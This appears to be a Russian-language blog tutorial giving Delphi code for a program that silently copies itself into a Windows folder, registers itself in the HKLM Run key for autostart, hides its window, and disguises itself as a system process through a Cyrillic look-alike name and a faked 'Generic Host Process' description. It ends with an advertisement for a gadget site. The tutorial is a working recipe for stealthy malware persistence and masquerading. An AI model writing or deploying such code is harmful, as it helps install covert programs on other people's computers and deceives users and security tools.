Небольшая программка

Давайте попробуем сделать небольшую программку, которая при запуске копируется в папку под названием pcsystem55, називает себе svcprint и добавляется в автозапуск...Начнем из того, что в OnCreate вписываем:
procedure TForm1.FormCreate(Sender: TObject);
var
h: TRegistry;
begin
{попробуем скопировать запущеный файл до C:\WINDOWS\pcsystem55\ и назвать его svcprint,
где с - росийская буква}
try CopyFile(PChar(paramstr(0)),'C:\WINDOWS\pcsystem55\svcprint.exe',true); except ; end;
h := TRegistry.Create; // работаем с реестром
with h do
begin
RootKey := HKEY_LOCAL_MACHINE;
OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', true); //вписываем в автопуск
WriteString('svcprint', 'C:\WINDOWS\pcsystem55\svcprint.exe');
CloseKey;
Free;
end;
end;
При этом важно не забыть в Uses добавить Registry
С целью убрания из стола непонятного окна, добавлям процедуру:
procedure TForm1.FormPaint(Sender: TObject);
begin
Form1.Hide; // скрываем окно
end;
Далее изменяем цифровую подпись и в FileDescription записываем Generic Host Process for Win32 Services
В закладке Application изменяем саму иконку.
Проверяем полученный итоговый результат:
Запускаем файл, делаем перезагрузку ПК (с pcsystem55 файл начнет загружатся исключительно после перезагрузки).
При пуске задач в нас добавляется еще одна svcprint.exe, программа для проверки автопуска нам покажет svcprint, которfz запускается с папки под названием pcsystem55, Process Hacker (либо другая, достаточно продвинутая прога для мониторинга процесов) покажет, что наш svcprint.exe в отличии от оригинала открывается под Explorer, против процесса в поле FileDescription будет Generic Host Process for Win32 Services... (не понимаю точно еще почему именно эти добавляются), Firewall кстати видать может предупреждение при пуске, будто прога наша намеревается доступ получить к реєстру и до папки под названием system32.
П.С. Хотите узнать новейшую информацию о мобильных телефонах, гаджетах, ноутбуках и нетбуках, онлайн-играх, GPS навигаторах, электронных книгах и о многом-многом другом? Новости мобильной связи, а также адреса магазинов, где есть возможность купить дешево различные технические приспособления, можно найти на страницах сайта 4cam.ru!